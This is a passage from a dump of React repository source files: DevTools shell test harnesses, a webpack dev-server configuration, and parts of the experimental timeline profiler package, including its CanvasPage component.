    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport * as React from 'react';\n\nexport default function App(): React.Node {\n  return <List />;\n}\n\nclass List extends React.Component {\n  constructor(props: any) {\n    super(props);\n    this.state = {\n      items: ['one', 'two', 'three'],\n    };\n  }\n\n  addItem = () => {\n    if (this.inputRef && this.inputRef.value) {\n      this.setState({items: [...this.state.items, this.inputRef.value]});\n      this.inputRef.value = '';\n    }\n  };\n\n  render(): any {\n    return (\n      <div>\n        <input\n          data-testname=\"AddItemInput\"\n          value={this.state.text}\n          onChange={this.onInputChange}\n          ref={c => (this.inputRef = c)}\n        />\n        <button data-testname=\"AddItemButton\" onClick={this.addItem}>\n          Add Item\n        </button>\n        <ul data-testname=\"List\">\n          {this.state.items.map((label, index) => (\n            <ListItem key={index} label={label} />\n          ))}\n        </ul>\n      </div>\n    );\n  }\n}\n\n// $FlowFixMe[missing-local-annot]\nfunction ListItem({label}) {\n  return <li data-testname=\"ListItem\">{label}</li>;\n}\n"
  },
  {
    "path": "packages/react-devtools-shell/src/e2e-regression/app-legacy.js",
    "content": "/** @flow */\n\n// This test harness mounts each test app as a separate root to test multi-root applications.\n\nimport * as React from 'react';\nimport * as ReactDOM from 'react-dom';\nimport ListApp from '../e2e-apps/ListApp';\nimport ListAppLegacy from '../e2e-apps/ListAppLegacy';\nimport {gte} from 'react-devtools-shared/src/backend/utils';\n\nconst version = process.env.E2E_APP_REACT_VERSION;\n\nfunction mountApp(App: () => React$Node) {\n  const container = document.createElement('div');\n\n  ((document.body: any): HTMLBodyElement).appendChild(container);\n\n  // $FlowFixMe[prop-missing]: These are removed in 19.\n  ReactDOM.render(<App />, container);\n}\nfunction mountTestApp() {\n  // ListApp has hooks, which aren't available until 16.8.0\n  mountApp(gte(version, '16.8.0') ? ListApp : ListAppLegacy);\n}\n\nmountTestApp();\n\n// ReactDOM Test Selector APIs used by Playwright e2e tests\n// If they don't exist, we mock them\nwindow.parent.REACT_DOM_APP = {\n  createTestNameSelector: name => `[data-testname=\"${name}\"]`,\n  findAllNodes: (container, nodes) =>\n    container.querySelectorAll(nodes.join(' ')),\n  ...ReactDOM,\n};\n"
  },
  {
    "path": "packages/react-devtools-shell/src/e2e-regression/app.js",
    "content": "/** @flow */\n\n// This test harness mounts each test app as a separate root to test multi-root applications.\n\nimport * as React from 'react';\nimport * as ReactDOMClient from 'react-dom/client';\nimport ListApp from '../e2e-apps/ListApp';\n\nfunction mountApp(App: () => React$Node) {\n  const container = document.createElement('div');\n\n  ((document.body: any): HTMLBodyElement).appendChild(container);\n\n  const root = ReactDOMClient.createRoot(container);\n  root.render(<App />);\n}\nfunction mountTestApp() {\n  mountApp(ListApp);\n}\n\nmountTestApp();\n\n// ReactDOM Test Selector APIs used by Playwright e2e tests\n// If they don't exist, we mock them\nwindow.parent.REACT_DOM_APP = {\n  createTestNameSelector: name => `[data-testname=\"${name}\"]`,\n  findAllNodes: (container, nodes) =>\n    container.querySelectorAll(nodes.join(' ')),\n  ...ReactDOMClient,\n};\n"
  },
  {
    "path": "packages/react-devtools-shell/src/e2e-regression/devtools.js",
    "content": "import * as React from 'react';\nimport * as ReactDOM from 'react-dom';\nimport * as ReactDOMClient from 'react-dom/client';\nimport {\n  activate as activateBackend,\n  initialize as initializeBackend,\n} from 'react-devtools-inline/backend';\nimport {initialize as createDevTools} from 'react-devtools-inline/frontend';\n\n// This is a pretty gross hack to make the runtime loaded named-hooks-code work.\n// TODO (Webpack 5) Hoepfully we can remove this once we upgrade to Webpack 5.\n__webpack_public_path__ = '/dist/'; // eslint-disable-line no-undef\n\n// TODO (Webpack 5) Hopefully we can remove this prop after the Webpack 5 migration.\nfunction hookNamesModuleLoaderFunction() {\n  return import('react-devtools-inline/hookNames');\n}\n\nfunction inject(contentDocument, sourcePath, callback) {\n  const script = contentDocument.createElement('script');\n  script.onload = callback;\n  script.src = sourcePath;\n\n  ((contentDocument.body: any): HTMLBodyElement).appendChild(script);\n}\n\nfunction init(appIframe, devtoolsContainer, appSource) {\n  const {contentDocument, contentWindow} = appIframe;\n\n  initializeBackend(contentWindow);\n\n  const DevTools = createDevTools(contentWindow);\n\n  inject(contentDocument, appSource, () => {\n    ReactDOMClient.createRoot(devtoolsContainer).render(\n      <DevTools\n        hookNamesModuleLoaderFunction={hookNamesModuleLoaderFunction}\n        showTabBar={true}\n      />,\n    );\n  });\n\n  activateBackend(contentWindow);\n}\n\nconst iframe = document.getElementById('iframe');\nconst devtoolsContainer = document.getElementById('devtools');\n\nconst {protocol, hostname} = window.location;\nconst port = 8181; // secondary webpack server port\ninit(\n  iframe,\n  devtoolsContainer,\n  `${protocol}//${hostname}:${port}/dist/e2e-app-regression.js`,\n);\n\n// ReactDOM Test Selector APIs used by Playwright e2e tests\nwindow.parent.REACT_DOM_DEVTOOLS =\n  'createTestNameSelector' in ReactDOMClient ? ReactDOMClient : ReactDOM;\n"
  },
  {
    "path": "packages/react-devtools-shell/src/multi/devtools.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @noflow\n */\n\nimport * as React from 'react';\nimport {createRoot} from 'react-dom/client';\nimport {\n  activate as activateBackend,\n  createBridge as createBackendBridge,\n  initialize as initializeBackend,\n} from 'react-devtools-inline/backend';\nimport {\n  createBridge as createFrontendBridge,\n  createStore,\n  initialize as createDevTools,\n} from 'react-devtools-inline/frontend';\nimport {__DEBUG__} from 'react-devtools-shared/src/constants';\n\nfunction inject(contentDocument, sourcePath, callback) {\n  const script = contentDocument.createElement('script');\n  script.onload = callback;\n  script.src = sourcePath;\n\n  ((contentDocument.body: any): HTMLBodyElement).appendChild(script);\n}\n\nfunction init(appIframe, devtoolsContainer, appSource) {\n  const {contentDocument, contentWindow} = appIframe;\n\n  // Wire each DevTools instance directly to its app.\n  // By default, DevTools dispatches \"message\" events on the window,\n  // but this means that only one instance of DevTools can live on a page.\n  const wall = {\n    _listeners: [],\n    listen(listener) {\n      if (__DEBUG__) {\n        console.log('[Shell] Wall.listen()');\n      }\n\n      wall._listeners.push(listener);\n    },\n    send(event, payload) {\n      if (__DEBUG__) {\n        console.log('[Shell] Wall.send()', {event, payload});\n      }\n\n      wall._listeners.forEach(listener => listener({event, payload}));\n    },\n  };\n\n  const backendBridge = createBackendBridge(contentWindow, wall);\n\n  initializeBackend(contentWindow);\n\n  const frontendBridge = createFrontendBridge(contentWindow, wall);\n  const store = createStore(frontendBridge);\n  const DevTools = createDevTools(contentWindow, {\n    bridge: frontendBridge,\n    store,\n  });\n\n  inject(contentDocument, appSource, () => {\n    createRoot(devtoolsContainer).render(<DevTools />);\n  });\n\n  activateBackend(contentWindow, {bridge: backendBridge});\n}\n\nconst appIframeLeft = document.getElementById('iframe-left');\nconst appIframeRight = document.getElementById('iframe-right');\nconst devtoolsContainerLeft = document.getElementById('devtools-left');\nconst devtoolsContainerRight = document.getElementById('devtools-right');\n\ninit(appIframeLeft, devtoolsContainerLeft, 'dist/multi-left.js');\ninit(appIframeRight, devtoolsContainerRight, 'dist/multi-right.js');\n"
  },
  {
    "path": "packages/react-devtools-shell/src/multi/left.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nimport * as React from 'react';\nimport {useState} from 'react';\nimport {createRoot} from 'react-dom/client';\n\nfunction createContainer() {\n  const container = document.createElement('div');\n\n  ((document.body: any): HTMLBodyElement).appendChild(container);\n\n  return container;\n}\n\nfunction StatefulCounter() {\n  const [count, setCount] = useState(0);\n  const handleClick = () => setCount(count + 1);\n  return <button onClick={handleClick}>Count {count}</button>;\n}\n\ncreateRoot(createContainer()).render(<StatefulCounter />);\n"
  },
  {
    "path": "packages/react-devtools-shell/src/multi/right.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nimport * as React from 'react';\nimport {useLayoutEffect, useRef, useState} from 'react';\nimport {createRoot} from 'react-dom/client';\n\nfunction createContainer() {\n  const container = document.createElement('div');\n\n  ((document.body: any): HTMLBodyElement).appendChild(container);\n\n  return container;\n}\n\nfunction EffectWithState() {\n  const [didMount, setDidMount] = useState(0);\n\n  const renderCountRef = useRef(0);\n  renderCountRef.current++;\n\n  useLayoutEffect(() => {\n    if (!didMount) {\n      setDidMount(true);\n    }\n  }, [didMount]);\n\n  return (\n    <ul>\n      <li>Rendered {renderCountRef.current} times</li>\n      {didMount && <li>Mounted!</li>}\n    </ul>\n  );\n}\n\ncreateRoot(createContainer()).render(<EffectWithState />);\n"
  },
  {
    "path": "packages/react-devtools-shell/src/perf-regression/app.js",
    "content": "/** @flow */\n\n// This test harness mounts each test app as a separate root to test multi-root applications.\n\nimport * as React from 'react';\nimport {createRoot} from 'react-dom/client';\nimport App from './apps/index';\n\nfunction mountApp() {\n  const container = document.createElement('div');\n\n  ((document.body: any): HTMLBodyElement).appendChild(container);\n\n  const root = createRoot(container);\n  root.render(\n    <React.StrictMode>\n      <App />\n    </React.StrictMode>,\n  );\n}\n\nmountApp();\n"
  },
  {
    "path": "packages/react-devtools-shell/src/perf-regression/apps/LargeSubtree.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport * as React from 'react';\n\nfunction generateArray(size: number) {\n  return Array.from({length: size}, () => Math.floor(Math.random() * size));\n}\n\nconst arr = generateArray(50000);\n\nexport default function LargeSubtree(): React.Node {\n  const [showList, setShowList] = React.useState(false);\n  const toggleList = () => {\n    const startTime = performance.now();\n    setShowList(!showList);\n    // requestAnimationFrame should happen after render+commit is done\n    window.requestAnimationFrame(() => {\n      const afterRenderTime = performance.now();\n      console.log(\n        `Time spent on ${showList ? 'unmounting' : 'mounting'} the subtree: ${\n          afterRenderTime - startTime\n        }ms`,\n      );\n    });\n  };\n  return (\n    <div>\n      <h2>Mount/Unmount a large subtree</h2>\n      <p>Click the button to toggle the state. Open console for results.</p>\n      <button onClick={toggleList}>toggle</button>\n      <ul>\n        <li key=\"dummy\">dummy item</li>\n        {showList && arr.map((num, idx) => <li key={idx}>{num}</li>)}\n      </ul>\n    </div>\n  );\n}\n"
  },
  {
    "path": "packages/react-devtools-shell/src/perf-regression/apps/index.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport * as React from 'react';\nimport LargeSubtree from './LargeSubtree';\n\nexport default function Home(): React.Node {\n  return (\n    <div>\n      <LargeSubtree />\n    </div>\n  );\n}\n"
  },
  {
    "path": "packages/react-devtools-shell/src/perf-regression/devtools.js",
    "content": "import * as React from 'react';\nimport {createRoot} from 'react-dom/client';\nimport {\n  activate as activateBackend,\n  initialize as initializeBackend,\n} from 'react-devtools-inline/backend';\nimport {initialize as createDevTools} from 'react-devtools-inline/frontend';\n\n// This is a pretty gross hack to make the runtime loaded named-hooks-code work.\n// TODO (Webpack 5) Hoepfully we can remove this once we upgrade to Webpack 5.\n__webpack_public_path__ = '/dist/'; // eslint-disable-line no-undef\n\n// TODO (Webpack 5) Hopefully we can remove this prop after the Webpack 5 migration.\nfunction hookNamesModuleLoaderFunction() {\n  return import('react-devtools-inline/hookNames');\n}\n\nfunction inject(contentDocument, sourcePath) {\n  const script = contentDocument.createElement('script');\n  script.src = sourcePath;\n\n  ((contentDocument.body: any): HTMLBodyElement).appendChild(script);\n}\n\nfunction init(\n  appSource: string,\n  appIframe: HTMLIFrameElement,\n  devtoolsContainer: HTMLElement,\n  loadDevToolsButton: HTMLButtonElement,\n) {\n  const {contentDocument, contentWindow} = appIframe;\n\n  initializeBackend(contentWindow);\n\n  inject(contentDocument, appSource);\n\n  loadDevToolsButton.addEventListener('click', () => {\n    const DevTools = createDevTools(contentWindow);\n    createRoot(devtoolsContainer).render(\n      <DevTools\n        hookNamesModuleLoaderFunction={hookNamesModuleLoaderFunction}\n        showTabBar={true}\n      />,\n    );\n    activateBackend(contentWindow);\n  });\n}\n\ninit(\n  'dist/perf-regression-app.js',\n  document.getElementById('iframe'),\n  document.getElementById('devtools'),\n  document.getElementById('load-devtools'),\n);\n"
  },
  {
    "path": "packages/react-devtools-shell/webpack-server.js",
    "content": "const {resolve} = require('path');\nconst Webpack = require('webpack');\nconst WebpackDevServer = require('webpack-dev-server');\nconst {\n  GITHUB_URL,\n  getVersionString,\n} = require('react-devtools-extensions/utils');\nconst {resolveFeatureFlags} = require('react-devtools-shared/buildUtils');\nconst semver = require('semver');\n\nconst {SUCCESSFUL_COMPILATION_MESSAGE} = require('./constants');\n\nconst {ReactVersion: currentReactVersion} = require('../../ReactVersions');\n\nconst NODE_ENV = process.env.NODE_ENV;\nif (!NODE_ENV) {\n  console.error('NODE_ENV not set');\n  process.exit(1);\n}\n\nconst EDITOR_URL = process.env.EDITOR_URL || null;\n\nconst builtModulesDir = resolve(\n  __dirname,\n  '..',\n  '..',\n  'build',\n  'oss-experimental',\n);\n\nconst __DEV__ = NODE_ENV === 'development';\n\nconst DEVTOOLS_VERSION = getVersionString();\n\n// If the React version isn't set, we will use the\n// current React version instead. Likewise if the\n// React version isnt' set, we'll use the build folder\n// for both React DevTools and React\nconst REACT_VERSION = process.env.REACT_VERSION\n  ? semver.coerce(process.env.REACT_VERSION).version\n  : currentReactVersion;\n\nconst E2E_APP_BUILD_DIR = process.env.REACT_VERSION\n  ? resolve(__dirname, '..', '..', 'build-regression', 'node_modules')\n  : builtModulesDir;\n\nconst makeConfig = (entry, alias) => ({\n  mode: __DEV__ ? 'development' : 'production',\n  devtool: __DEV__ ? 'cheap-source-map' : 'source-map',\n  stats: {\n    preset: 'normal',\n    warningsFilter: [\n      warning => {\n        const message = warning.message;\n        // We use ReactDOM legacy APIs conditionally based on the React version.\n        // react-native-web also accesses legacy APIs statically but we don't end\n        // up using them at runtime.\n        return (\n          message.startsWith(\n            `export 'findDOMNode' (imported as 'findDOMNode') was not found in 'react-dom'`,\n          ) ||\n          message.startsWith(\n            `export 'hydrate' (reexported as 'hydrate') was not found in 'react-dom'`,\n          ) ||\n          message.startsWith(\n            `export 'render' (imported as 'render') was not found in 'react-dom'`,\n          ) ||\n          message.startsWith(\n            `export 'unmountComponentAtNode' (imported as 'unmountComponentAtNode') was not found in 'react-dom'`,\n          )\n        );\n      },\n    ],\n  },\n  entry,\n  output: {\n    publicPath: '/dist/',\n  },\n  node: {\n    global: false,\n  },\n  resolve: {\n    alias,\n  },\n  optimization: {\n    minimize: false,\n  },\n  plugins: [\n    new Webpack.ProvidePlugin({\n      process: 'process/browser',\n    }),\n    new Webpack.DefinePlugin({\n      __DEV__,\n      __EXPERIMENTAL__: true,\n      __EXTENSION__: false,\n      __PROFILE__: false,\n      __TEST__: NODE_ENV === 'test',\n      'process.env.GITHUB_URL': `\"${GITHUB_URL}\"`,\n      'process.env.EDITOR_URL': EDITOR_URL != null ? `\"${EDITOR_URL}\"` : null,\n      'process.env.DEVTOOLS_PACKAGE': `\"react-devtools-shell\"`,\n      'process.env.DEVTOOLS_VERSION': `\"${DEVTOOLS_VERSION}\"`,\n      'process.env.E2E_APP_REACT_VERSION': `\"${REACT_VERSION}\"`,\n    }),\n  ],\n  module: {\n    rules: [\n      {\n        test: /\\.js$/,\n        loader: 'babel-loader',\n        options: {\n          configFile: resolve(\n            __dirname,\n            '..',\n            'react-devtools-shared',\n            'babel.config.js',\n          ),\n        },\n      },\n      {\n        test: /\\.css$/,\n        use: [\n          {\n            loader: 'style-loader',\n          },\n          {\n            loader: 'css-loader',\n            options: {\n              sourceMap: true,\n              modules: true,\n              localIdentName: '[local]',\n            },\n          },\n        ],\n      },\n    ],\n  },\n});\n\nconst app = makeConfig(\n  {\n    'app-index': './src/app/index.js',\n    'app-devtools': './src/app/devtools.js',\n    'e2e-app': './src/e2e/app.js',\n    'e2e-devtools': './src/e2e/devtools.js',\n    'e2e-devtools-regression': './src/e2e-regression/devtools.js',\n    'multi-left': './src/multi/left.js',\n    'multi-devtools': './src/multi/devtools.js',\n    'multi-right': './src/multi/right.js',\n    'e2e-regression': './src/e2e-regression/app.js',\n    'perf-regression-app': './src/perf-regression/app.js',\n    'perf-regression-devtools': './src/perf-regression/devtools.js',\n  },\n  {\n    react: resolve(builtModulesDir, 'react'),\n    'react-debug-tools': resolve(builtModulesDir, 'react-debug-tools'),\n    'react-devtools-feature-flags': resolveFeatureFlags('shell'),\n    'react-dom/client': resolve(builtModulesDir, 'react-dom/unstable_testing'),\n    'react-dom': resolve(builtModulesDir, 'react-dom'),\n    'react-is': resolve(builtModulesDir, 'react-is'),\n    scheduler: resolve(builtModulesDir, 'scheduler'),\n  },\n);\n\n// Prior to React 18, we use ReactDOM.render rather than\n// createRoot.\n// We also use a separate build folder to build the React App\n// so that we can test the current DevTools against older version of React\nconst e2eRegressionApp = semver.lt(REACT_VERSION, '18.0.0')\n  ? makeConfig(\n      {\n        'e2e-app-regression': './src/e2e-regression/app-legacy.js',\n      },\n      {\n        react: resolve(E2E_APP_BUILD_DIR, 'react'),\n        'react-dom': resolve(E2E_APP_BUILD_DIR, 'react-dom'),\n        ...(semver.satisfies(REACT_VERSION, '16.5')\n          ? {schedule: resolve(E2E_APP_BUILD_DIR, 'schedule')}\n          : {scheduler: resolve(E2E_APP_BUILD_DIR, 'scheduler')}),\n      },\n    )\n  : makeConfig(\n      {\n        'e2e-app-regression': './src/e2e-regression/app.js',\n      },\n      {\n        react: resolve(E2E_APP_BUILD_DIR, 'react'),\n        'react-dom': resolve(E2E_APP_BUILD_DIR, 'react-dom'),\n        'react-dom/client': resolve(E2E_APP_BUILD_DIR, 'react-dom/client'),\n        scheduler: resolve(E2E_APP_BUILD_DIR, 'scheduler'),\n      },\n    );\n\nconst appCompiler = Webpack(app);\nconst appServer = new WebpackDevServer(\n  {\n    hot: true,\n    open: true,\n    port: 8080,\n    client: {\n      logging: 'warn',\n      overlay: {\n        warnings: false,\n        runtimeErrors: error => {\n          const shouldIgnoreError =\n            error !== null &&\n            typeof error === 'object' &&\n            error.message === 'test-error-do-not-surface';\n\n          return !shouldIgnoreError;\n        },\n      },\n    },\n    static: {\n      directory: __dirname,\n      publicPath: '/',\n    },\n  },\n  appCompiler,\n);\n\nconst e2eRegressionAppCompiler = Webpack(e2eRegressionApp);\nconst e2eRegressionAppServer = new WebpackDevServer(\n  {\n    port: 8181,\n    client: {\n      logging: 'warn',\n      overlay: {\n        warnings: false,\n      },\n    },\n    static: {\n      publicPath: '/dist/',\n    },\n    headers: {\n      'Access-Control-Allow-Origin': '*',\n    },\n  },\n  e2eRegressionAppCompiler,\n);\n\nconst runServer = async () => {\n  console.log('Starting server...');\n\n  appServer.compiler.hooks.done.tap('done', () =>\n    console.log(SUCCESSFUL_COMPILATION_MESSAGE),\n  );\n\n  await e2eRegressionAppServer.start();\n  await appServer.start();\n};\n\nrunServer();\n"
  },
  {
    "path": "packages/react-devtools-timeline/README.md",
    "content": "# React Concurrent Mode Profiler\n\nThis package contains the new/experimental \"timeline\" for React 18. This profiler exists as its own project because it was initially deployed as a standalone app. It has since been moved into the DevTools Profiler under the \"Scheduling\" tab. This package will likely eventually be moved into `react-devtools-shared`."
  },
  {
    "path": "packages/react-devtools-timeline/package.json",
    "content": "{\n  \"private\": true,\n  \"name\": \"react-devtools-timeline\",\n  \"version\": \"7.0.1\",\n  \"license\": \"MIT\",\n  \"dependencies\": {\n    \"@elg/speedscope\": \"1.9.0-a6f84db\",\n    \"clipboard-js\": \"^0.3.6\",\n    \"memoize-one\": \"^5.1.1\",\n    \"nullthrows\": \"^1.1.1\",\n    \"pretty-ms\": \"^7.0.0\",\n    \"react-virtualized-auto-sizer\": \"^1.0.23\",\n    \"regenerator-runtime\": \"^0.13.7\"\n  },\n  \"devDependencies\": {\n    \"@pmmmwh/react-refresh-webpack-plugin\": \"^0.4.1\",\n    \"@reach/menu-button\": \"^0.16.1\",\n    \"@reach/tooltip\": \"^0.16.0\",\n    \"babel-loader\": \"^8.1.0\",\n    \"css-loader\": \"^4.2.1\",\n    \"file-loader\": \"^6.0.0\",\n    \"style-loader\": \"^1.2.1\",\n    \"url-loader\": \"^4.1.0\",\n    \"vercel\": \"^20.1.0\",\n    \"webpack\": \"^5.82.1\",\n    \"webpack-cli\": \"^5.1.1\",\n    \"webpack-dev-server\": \"^4.15.0\"\n  }\n}\n"
  },
  {
    "path": "packages/react-devtools-timeline/src/CanvasPage.css",
    "content": ".CanvasPage {\n  position: absolute;\n  top: 0;\n  bottom: 0;\n  left: 0;\n  right: 0;\n}\n"
  },
  {
    "path": "packages/react-devtools-timeline/src/CanvasPage.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport type {Interaction, Point} from './view-base';\nimport type {ReactEventInfo, TimelineData, ViewState} from './types';\n\nimport * as React from 'react';\nimport {\n  Fragment,\n  useContext,\n  useEffect,\n  useLayoutEffect,\n  useRef,\n  useState,\n  useCallback,\n} from 'react';\nimport AutoSizer from 'react-virtualized-auto-sizer';\n\nimport {\n  HorizontalPanAndZoomView,\n  ResizableView,\n  VerticalScrollOverflowView,\n  Surface,\n  VerticalScrollView,\n  View,\n  useCanvasInteraction,\n  verticallyStackedLayout,\n  zeroPoint,\n} from './view-base';\nimport {\n  ComponentMeasuresView,\n  FlamechartView,\n  NativeEventsView,\n  NetworkMeasuresView,\n  ReactMeasuresView,\n  SchedulingEventsView,\n  SnapshotsView,\n  SuspenseEventsView,\n  ThrownErrorsView,\n  TimeAxisMarkersView,\n  UserTimingMarksView,\n} from './content-views';\nimport {COLORS} from './content-views/constants';\nimport {clampState, moveStateToRange} from './view-base/utils/scrollState';\nimport EventTooltip from './EventTooltip';\nimport {MAX_ZOOM_LEVEL, MIN_ZOOM_LEVEL} from './view-base/constants';\nimport {TimelineSearchContext} from './TimelineSearchContext';\nimport {TimelineContext} from './TimelineContext';\nimport CanvasPageContextMenu from './CanvasPageContextMenu';\n\nimport type {ContextMenuRef} from 'react-devtools-shared/src/devtools/ContextMenu/types';\n\nimport styles from './CanvasPage.css';\n\ntype Props = {\n  profilerData: TimelineData,\n  viewState: ViewState,\n};\n\nfunction CanvasPage({profilerData, viewState}: Props): React.Node {\n  return (\n    <div\n      className={styles.CanvasPage}\n      style={{backgroundColor: COLORS.BACKGROUND}}>\n      <AutoSizer>\n        {({height, width}: {height: number, width: number}) => (\n          <AutoSizedCanvas\n            data={profilerData}\n            height={height}\n            viewState={viewState}\n            width={width}\n          />\n        )}\n      </AutoSizer>\n    </div>\n  );\n}\n\nconst EMPTY_CONTEXT_INFO: ReactEventInfo = {\n  componentMeasure: null,\n  flamechartStackFrame: null,\n  measure: null,\n  nativeEvent: null,\n  networkMeasure: null,\n  schedulingEvent: null,\n  snapshot: null,\n  suspenseEvent: null,\n  thrownError: null,\n  userTimingMark: null,\n};\n\ntype AutoSizedCanvasProps = {\n  data: TimelineData,\n  height: number,\n  viewState: ViewState,\n  width: number,\n};\n\nfunction AutoSizedCanvas({\n  data,\n  height,\n  viewState,\n  width,\n}: AutoSizedCanvasProps) {\n  const canvasRef = useRef<HTMLCanvasElement | null>(null);\n\n  const [mouseLocation, setMouseLocation] = useState<Point>(zeroPoint); // DOM coordinates\n  const [hoveredEvent, setHoveredEvent] = useState<ReactEventInfo | null>(null);\n  const [lastHoveredEvent, setLastHoveredEvent] =\n    useState<ReactEventInfo | null>(null);\n\n  const contextMenuRef: ContextMenuRef = useRef(null);\n\n  const resetHoveredEvent = useCallback(\n    () => setHoveredEvent(EMPTY_CONTEXT_INFO),\n    [],\n  );\n  const updateHoveredEvent = useCallback(\n    (event: ReactEventInfo) => {\n      setHoveredEvent(event);\n\n      // If menu is already open, don't update the hovered event data\n      // So the same set of menu items is preserved until the current context menu is closed\n      if (contextMenuRef.current?.isShown()) {\n        return;\n      }\n\n      const {\n        componentMeasure,\n        flamechartStackFrame,\n        measure,\n        networkMeasure,\n        schedulingEvent,\n        suspenseEvent,\n      } = event;\n\n      // We have to keep track of last non-empty hovered event, since this will be the input for context menu items\n      // We can't just pass hoveredEvent to ContextMenuContainer,\n      // since it will be reset each time user moves mouse away from event object on the canvas\n      if (\n        componentMeasure != null ||\n        flamechartStackFrame != null ||\n        measure != null ||\n        networkMeasure != null ||\n        schedulingEvent != null ||\n        suspenseEvent != null\n      ) {\n        setLastHoveredEvent(event);\n      }\n    },\n    [contextMenuRef],\n  );\n\n  const {searchIndex, searchRegExp, searchResults} = useContext(\n    TimelineSearchContext,\n  );\n\n  // This effect searches timeline data and scrolls to the next match wen search criteria change.\n  useLayoutEffect(() => {\n    viewState.updateSearchRegExpState(searchRegExp);\n\n    const componentMeasureSearchResult =\n      searchResults.length > 0 ? searchResults[searchIndex] : null;\n    if (componentMeasureSearchResult != null) {\n      const scrollState = moveStateToRange({\n        state: viewState.horizontalScrollState,\n        rangeStart: componentMeasureSearchResult.timestamp,\n        rangeEnd:\n          componentMeasureSearchResult.timestamp +\n          componentMeasureSearchResult.duration,\n        contentLength: data.duration,\n        minContentLength: data.duration * MIN_ZOOM_LEVEL,\n        maxContentLength: data.duration * MAX_ZOOM_LEVEL,\n        containerLength: width,\n      });\n\n      viewState.updateHorizontalScrollState(scrollState);\n    }\n\n    surfaceRef.current.displayIfNeeded();\n  }, [searchIndex, searchRegExp, searchResults, viewState]);\n\n  const surfaceRef = useRef(new Surface(resetHoveredEvent));\n  const userTimingMarksViewRef = useRef<null | UserTimingMarksView>(null);\n  const nativeEventsViewRef = useRef<null | NativeEventsView>(null);\n  const schedulingEventsViewRef = useRef<null | SchedulingEventsView>(null);\n  const suspenseEventsViewRef = useRef<null | SuspenseEventsView>(null);\n  const componentMeasuresViewRef = useRef<null | ComponentMeasuresView>(null);\n  const reactMeasuresViewRef = useRef<null | ReactMeasuresView>(null);\n  const flamechartViewRef = useRef<null | FlamechartView>(null);\n  const networkMeasuresViewRef = useRef<null | NetworkMeasuresView>(null);\n  const snapshotsViewRef = useRef<null | SnapshotsView>(null);\n  const thrownErrorsViewRef = useRef<null | ThrownErrorsView>(null);\n\n  useLayoutEffect(() => {\n    const surface = surfaceRef.current;\n    const defaultFrame = {origin: zeroPoint, size: {width, height}};\n\n    // Auto hide context menu when panning.\n    viewState.onHorizontalScrollStateChange(scrollState => {\n      contextMenuRef.current?.hide();\n    });\n\n    // Initialize horizontal view state\n    viewState.updateHorizontalScrollState(\n      clampState({\n        state: viewState.horizontalScrollState,\n        minContentLength: data.duration * MIN_ZOOM_LEVEL,\n        maxContentLength: data.duration * MAX_ZOOM_LEVEL,\n        containerLength: defaultFrame.size.width,\n      }),\n    );\n\n    function createViewHelper(\n      view: View,\n      label: string,\n      shouldScrollVertically: boolean = false,\n      shouldResizeVertically: boolean = false,\n    ): View {\n      let verticalScrollView = null;\n      if (shouldScrollVertically) {\n        verticalScrollView = new VerticalScrollView(\n          surface,\n          defaultFrame,\n          view,\n          viewState,\n          label,\n        );\n      }\n\n      const horizontalPanAndZoomView = new HorizontalPanAndZoomView(\n        surface,\n        defaultFrame,\n        verticalScrollView !== null ? verticalScrollView : view,\n        data.duration,\n        viewState,\n      );\n\n      let resizableView = null;\n      if (shouldResizeVertically) {\n        resizableView = new ResizableView(\n          surface,\n          defaultFrame,\n          horizontalPanAndZoomView,\n          viewState,\n          canvasRef,\n          label,\n        );\n      }\n\n      return resizableView || horizontalPanAndZoomView;\n    }\n\n    const axisMarkersView = new TimeAxisMarkersView(\n      surface,\n      defaultFrame,\n      data.duration,\n    );\n    const axisMarkersViewWrapper = createViewHelper(axisMarkersView, 'time');\n\n    let userTimingMarksViewWrapper = null;\n    if (data.otherUserTimingMarks.length > 0) {\n      const userTimingMarksView = new UserTimingMarksView(\n        surface,\n        defaultFrame,\n        data.otherUserTimingMarks,\n        data.duration,\n      );\n      userTimingMarksViewRef.current = userTimingMarksView;\n      userTimingMarksViewWrapper = createViewHelper(\n        userTimingMarksView,\n        'user timing api',\n      );\n    }\n\n    let nativeEventsViewWrapper = null;\n    if (data.nativeEvents.length > 0) {\n      const nativeEventsView = new NativeEventsView(\n        surface,\n        defaultFrame,\n        data,\n      );\n      nativeEventsViewRef.current = nativeEventsView;\n      nativeEventsViewWrapper = createViewHelper(\n        nativeEventsView,\n        'events',\n        true,\n        true,\n      );\n    }\n\n    let thrownErrorsViewWrapper = null;\n    if (data.thrownErrors.length > 0) {\n      const thrownErrorsView = new ThrownErrorsView(\n        surface,\n        defaultFrame,\n        data,\n      );\n      thrownErrorsViewRef.current = thrownErrorsView;\n      thrownErrorsViewWrapper = createViewHelper(\n        thrownErrorsView,\n        'thrown errors',\n      );\n    }\n\n    let schedulingEventsViewWrapper = null;\n    if (data.schedulingEvents.length > 0) {\n      const schedulingEventsView = new SchedulingEventsView(\n        surface,\n        defaultFrame,\n        data,\n      );\n      schedulingEventsViewRef.current = schedulingEventsView;\n      schedulingEventsViewWrapper = createViewHelper(\n        schedulingEventsView,\n        'react updates',\n      );\n    }\n\n    let suspenseEventsViewWrapper = null;\n    if (data.suspenseEvents.length > 0) {\n      const suspenseEventsView = new SuspenseEventsView(\n        surface,\n        defaultFrame,\n        data,\n      );\n      suspenseEventsViewRef.current = 